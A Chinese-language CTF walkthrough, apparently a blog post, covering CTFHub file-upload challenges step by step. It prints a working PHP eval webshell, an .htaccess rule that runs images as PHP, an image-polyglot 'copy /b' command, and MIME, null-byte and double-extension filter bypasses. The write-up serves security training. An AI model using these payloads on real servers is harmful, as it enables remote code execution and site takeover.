前言
在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。
作者更新了CTFHub系列,希望小伙伴们多多支持。
作者的CTFHub技能树汇总:
CTFHub技能树Web汇总-CSDN博客
关于文件上传,作者认为upload-labs是一个很好的靶场。作者通过该靶场训练到了文件上传的大多数技巧。应对CTFHub这些题型时就已经得心应手,推荐大家也做一下。
upload-labs的wp:upload-labs通关-CSDN博客
文件上传的技术总结:文件上传全详解-CSDN博客
无验证
我们先写一个一句话木马文件webshell_post.php。
<?php @eval($_POST['key']);?>
一会用来上传
无验证就直接上传
告知上传路径
用蚁剑连接,添加数据
测试连接成功
添加成功
在html文件夹里发现flag
前端验证
先上传试试,发现禁止上传
果然是前端验证
禁用js试试
上传成功
还是连接蚁剑
Flag还在相同的位置
.htaccess
题目描述:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
将一句话木马webshell.php修改后缀名,改为webshell.jpg,制成图片马
然后上传
再制作一个.htaccess文件,写入
Sethandler application/x-httpd-php
然后上传
然后我们用蚁剑连接图片马
找到flag
MIME绕过
上传一句话木马,用bp抓包
Content-Type: application/octet-stream
补充一下常见的类型
这里我们改成
image/jpeg
上传成功
蚁剑连接
出flag
00截断
还是上传之前制作的图片马,然后抓包
这里我们将上传路径修改,加上webshell.php%00
然后我们的文件就会保存在/upload/webshell.php,而不是原文件名webshell.jpg
上传成功,但是没有显示上传路径,因为通过00截断我们已知上传路径,就是/upload/webshell.php
用蚁剑连接
出flag
双写后缀
上传一句话木马,抓包
这里题目提示双写后缀,那我们就把filename改为webshell_post.pphphp
上传成功
用蚁剑连接,出flag
文件头检查
这里用jpg图片做示范,制作图片马,绕过文件头检查。
使用cmd命令:
在同时有图片和一句话木马的文件夹下打开cmd,然后使用以下命令。
copy 图片名 /b + 一句话木马的文件名 /a webshell.jpg
意思是将一句话木马文件中的代码追加到图片中并重新生成一个叫webshell.php的代码。
比如作者图片名就叫“重庆森林不在重庆.jpg”,一句话木马的文件名还是“webshell.php”。
那么作者的命令为:
copy 重庆森林不在重庆.jpg /b + webshell.php /a webshell.jpg
下图表示图片马制作成功。
但是有的图片制作后依然不能上传,这时候就需要大家换图片、换图片类型(比如png)或者手动修改文件头
制作以后我们开始利用,上传图片马,然后抓包
将filename的后缀改为php(因为我们需要用jpg或者png格式的文件头及MIME绕过,但jpg或者png格式无法执行里面的一句话木马,所以我们上传还是要保存为php格式)
上传成功
连接成功
出flag